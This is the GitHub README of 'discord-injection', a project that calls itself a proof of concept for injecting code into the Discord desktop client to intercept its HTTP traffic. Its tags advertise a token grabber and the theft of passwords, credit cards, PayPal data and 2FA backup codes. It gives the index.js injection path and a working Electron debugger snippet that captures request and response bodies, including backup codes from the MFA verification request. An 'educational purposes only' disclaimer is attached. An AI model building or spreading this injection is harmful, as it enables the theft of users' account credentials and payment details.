hackirby / discord-injection

Discord HTTP requests interception POC, including backup codes requests, for educational purposes only.
MIT License
17 stars 4 forks source link
2fa backup-codes credit-card discord discord-injection email login mfa password paypal qrcode register token token-grabber

Discord Injection 💉

Discord HTTP requests interception POC, including backup codes request and many others !

Features

Installation

%APPDATA%\Local\Discord\app-<app-version>\modules\discord_desktop_core-<core-version>\discord_desktop_core\index.js

Preview

Backup codes sniffing

image

Devices blocking

image

How does backup codes sniffing work ?

I use the debugger instead of the WebRequests instance methods. It allow me to get request body AND response body:

mainWindow.webContents.debugger.on('message', async (_, method, params) => {
    if (method !== 'Network.responseReceived') return;
    if (![200, 202].includes(params.response.status)) return;

    const responseUnparsedData = await mainWindow.webContents.debugger.sendCommand('Network.getResponseBody', {
        requestId: params.requestId
    });
    const responseData = JSON.parse(responseUnparsedData.body);

    const requestUnparsedData = await mainWindow.webContents.debugger.sendCommand('Network.getRequestPostData', {
        requestId: params.requestId
    });
    const requestData = JSON.parse(requestUnparsedData.postData);
})

The backup codes are in the response body of /mfa/codes-verification request

Contributing

If you wish to contribute to this project, kindly open an issue or submit a pull request with your proposed changes. We warmly welcome contributions from the community.

Enjoying the Project?

License

This project is licensed under the MIT License. For more information, please consult the LICENSE file.

Acknowledgements

Special thanks to Rdimo for the injection persistence functions.

Disclaimer:

Important Notice:

This injection is inteded for educational purposes only. This is provided strictly for educational and research purposes. Under no circumstances this should be used for any malicious activities, including but not limited to unauthorized access, data theft, or any other harmful actions.

Usage Responsibility:

By accessing and using this injection, you acknowledge that you are solely responsible for your actions. Any misuse of this injection is strictly prohibited, and the creator (hackirby) disclaims any responsibility for how this injection is utilized. You are fully accountable for ensuring that your usage complies with all applicable laws and regulations in your jurisdiction.

No Liability:

The creator (hackirby) of this injection shall not be held responsible for any damages or legal consequences resulting from the use or misuse of this software. This includes, but is not limited to, direct, indirect, incidental, consequential, or punitive damages arising out of your access, use, or inability to use this injection.

No Support:

The creator (hackirby) will not provide any support, guidance, or assistance related to the misuse of this injection. Any inquiries regarding malicious activities will be ignored.

Acceptance of Terms:

By using this injection, you signify your acceptance of this disclaimer. If you do not agree with the terms stated in this disclaimer, do not use this injection.